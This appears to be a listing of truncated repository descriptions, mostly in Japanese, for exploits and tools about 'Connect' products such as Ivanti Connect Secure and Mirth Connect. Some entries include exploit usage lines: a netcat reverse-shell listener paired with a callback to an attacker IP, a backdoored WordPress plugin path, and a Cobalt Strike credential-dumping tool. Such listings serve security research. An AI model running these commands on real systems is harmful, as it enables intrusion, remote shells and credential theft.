CVE-2023-38041-POC

CVE-2023-38041-POC Ivanti Pulse Secure Client Connect ローカル権限昇格 CVE-2023-38041 概念実証...

ADSyncDump-BOF

ADSyncDump BOF ADSyncDump BOF は、Dirkjan Mollema の adconnectdump.py / ADSyncDecrypt を Beacon Object File BOF に移植したもので、Cobalt Strike、Sliver、Havoc で使用できます。 !NOTE このツールは、Azure AD Connect バージョン 2.2.1.0 を実行する Windows Server 2019 でテストされています。BOF の 32ビット版は未テストですが、完全を期すために含めています。使用は自己責任でお願いします。 コンパイル BOF...

Malicious code in @xatancchii/velycxbail (npm)

This package is part of a large family 100+ identified as of September 2026 of near-identical forks of the Baileys WhatsApp Web library that inject a covert channel-subscription action into the WhatsApp socket layer. On connect, the injected code issues an authenticated w:mex FOLLOW query queryid...

MAL-2026-17404 Malicious code in saturn-baileys (npm)

This package is part of a large family 100+ identified as of September 2026 of near-identical forks of the Baileys WhatsApp Web library that inject a covert channel-subscription action into the WhatsApp socket layer. On connect, the injected code issues an authenticated w:mex FOLLOW query queryid...

CVE-2025-0282

CVE-2025-0282 Ivanti Connect Secure IFT TLS スタックオーバーフロー 事前認証RCE CVE-2025-0282 これは意図的に簡単ではない形で壊されており、以前のエクスプロイト技術ブログ記事で概説したとおりに動作させるには努力が必要です。 この脆弱性を理解するには、技術的な解説記事を参照してください。 エクスプロイトのウォークスルーと手法 - Ivanti Connect Secure RCE CVE-2025-0282 PoC このコードは2つのモードで動作します: 1. 通常モード 2. エクスプロイトモード...

CVE-2025-22457

PoC for CVE-2025-22457 A remote unauthenticated stack based buffer overflow affecting Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure, and ZTA Gateways Overview This is a proof of concept exploit to demonstrate exploitation of CVE-2025-22457. For a complete technical analysis of...

CVE-2023-43208

Mirth Connect における RCE 脆弱性（CVE-2023-37679 および CVE-2023-43208） このエクスプロイトスクリプトと PoC は、v society での詳細な CVE 分析のために作成されました。CVE-2023-43208 は、病院や診療所が患者データを共有するために使用するツールである NextGen Mirth Connect における深刻なセキュリティバグです。このバグにより、攻撃者はパスワードを必要とせずにシステムに侵入できます。Mirth Connect...

Ivanti-Connect-Secure-Logs-Parser

Ivanti Secure Connect ログパーサー このリポジトリは、Ivanti Secure Connect の .vc0 ログファイルを、デジタルフォレンジックおよびインシデントレスポンスのために CSV 形式に変換する Python スクリプトを提供します。具体的には、このパーサーは以下のことを行います: Ivanti ログファイル（特に .vc0 ファイル）からタイムスタンプを抽出します。 これらの16進数タイムスタンプを人間が読める日付/時刻文字列に変換します。 ログエントリを読み取り可能な CSV に変換します。 各ログのメッセージコードを、参照 CSV...

Mirth-Connect-CVE-2023-43208

CVE-2023-43208：NextGen Mirth Connect 中的未认证远程代码执行（RCE） 该漏洞利用工具利用了 Mirth Connect 的 XStream 引擎中的一个严重反序列化漏洞。它源于 CVE-2023-37679 的不完整补丁，可在所有 4.4.1 之前的版本中实现未认证的任意代码执行。 使用方法 python3 mirthrce.py https://target 免责声明 此漏洞利用脚本严格用于教育目的和经授权的安全审计，以帮助防御者缓解...

CVE-2023-43208-PoC

Mirth Connect RCE エクスプロイト CVE-2023-43208 このスクリプトは、Mirth Connect （4.4.1より前のバージョン）のリモートコード実行（RCE）脆弱性に対する概念実証（PoC）です。APIを介してXStreamの逆シリアル化の脆弱性を悪用します。 要件 Python 3.10 以上（3.13 にも対応）。 ターゲットへのネットワーク接続。 ツールの使い方 python3 CVE-2023-43208.py -u https://IP-victima -lh IP-atacante -lp puerto インストール 仮想環境の使用を推奨します...

boundary

Boundary Boundaryとは: https://developer.hashicorp.com/boundary/docs/what-is-boundary ウェブサイト: https://www.developer.hashicorp.com/boundary/ フォーラム: HashiCorp Discuss ドキュメント: https://developer.hashicorp.com/boundary/docs チュートリアル: HashiCorpのLearnプラットフォーム...

CVE-2025-9286

CVE-2025-9286 Appy Pie Connect for WooCommerce = 1.1.2 - 認可の欠如による未認証の権限昇格 ⚠️ Appy Pie Connect for WooCommerce = 1.1.2 - resetuserpasswordを介した認可の欠如による未認証の権限昇格 📝 説明 WordPress用プラグイン「Appy Pie Connect for WooCommerce」は、バージョン1.1.2以前の全バージョンにおいて、resetuserpassword RESTハンドラー内の認可の欠如により、権限昇格の脆弱性が存在します。...

dex

dex - フェデレーション型OpenID Connectプロバイダー Dexは、OpenID Connectを使用して他のアプリの認証を駆動するアイデンティティサービスです。 Dexは、「コネクタ」を介して他のアイデンティティプロバイダーへのポータルとして機能します。これにより、dexはLDAPサーバー、SAMLプロバイダー、またはGitHub、Google、Active Directoryなどの確立されたアイデンティティプロバイダーへの認証を委任できます。クライアントはdexと通信するための認証ロジックを一度記述するだけでよく、dexが各バックエンドのプロトコルを処理します。...

CVE-2023-43208-PoC

CVE-2023-43208 - Mirth Connect の未認証RCE 要件 Python 3.11 以上（3.11、3.12、3.13 でテスト済み） セットアップ Create a clean virtual environment python3 -m venv .venv source .venv/bin/activate Install pinned dependencies pip install -r requirements.txt 使用方法 Check version only python3 CVE-2023-43208.py -u https://TARGET...

CVE-2024-2667

InstaWP Connect – 1クリックWPステージング＆マイグレーション 有効または無効なAPIキーを自由に使用できます。\ overridepluginzip - バックドアを含む悪意のあるWordPressプラグインが格納されたzipファイルへのパス。 インポート後、http://victim-domain/wp-content/plugins/malicious-plugin/backdoor.php からバックドアにアクセスできます（ディレクトリ名がmalicious-pluginで、そのディレクトリ配下にbackdoor.phpがある場合）。 参照:...

CVE-2023-46805_CVE-2024-21887

CVE-2023-46805 Ivanti ICS 9.x、22.x および Ivanti Policy Secure の Web コンポーネントにおける認証バイパスの脆弱性により、リモートの攻撃者が制御チェックをバイパスして制限されたリソースにアクセスできるようになります。 usage: ./CVE-2023-46805.sh https://fqdn:port ./CVE-2023-46805.sh https://my.vpn.ip:443 注意事項: chmod +x CVE-2023-46805.sh 必要なアプリ: curl + jsonpp 結果:...

CVE-2022-26269

CVE-2022-26269 スズキコネクトアプリは、燃料、イグニッションステータス、現在地、シートバックルステータスなどの車両情報を取得するために使用されます。イグニス、ゼータバリアント車において、燃料CANメッセージとシートバックルステータスがOBD 2ポートを介して細工された値（例: 燃料0%とシートバックル締め状態）でスプーフィングされると、その同じ値がスズキコネクトアプリに反映され、ユーザーを誤解させる可能性があります。 影響を受ける製品: Suzuki Connect app version 1.0.15 車種: イグニス ゼータバリアント、製造年 2019...

CVE-2023-43208

Mirth Connect RCE - CVE-2023-43208 説明 Mirth Connect のリモートコード実行（RCE）の PoC XStream の逆シリアル化を介して Mirth Connect 例 リスナーを起動 nc -lvnp 4444 エクスプロイトを実行 ./exploit https://target.com 10.10.10.10 4444 参考文献 https://nvd.nist.gov/vuln/detail/CVE-2023-43208 https://github.com/advisories/GHSA-pj5c-qr29-6746...

cve-2023-43208-poc

Mirth Connect PoC スクリプト Mirth Connect の脆弱性に関連するセキュリティ調査のためのシンプルな Python スクリプト。 重要 このプロジェクトは、自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムでのみ使用してください。 無許可のテストは違法です。 ファイル exploit.py — メインスクリプト 必要条件 Python 3.9+ requests urllib3 クイックセットアップ python -m venv .venv ..venv\Scripts\activate pip install requests...

CVE-2020-9442

エクスプロイトタイトル: OpenVPN Connect for Windows MSI - 3.1.0.361 - 特権昇格 日付: 2020-02-28 作者: Andrew Hess ソフトウェアリンク: https://openvpn.net/client-connect-vpn-for-windows/ バージョン: 3.1.0.361 MSI CVE: CVE-2020-9442 履歴 2019.12.15 - 脆弱性を発見 2019.12.15 - ベンダーとの初期連絡 2020.01.xx - ベンダーパッチ - 3.1.1 378 beta 3.1.1 378 beta...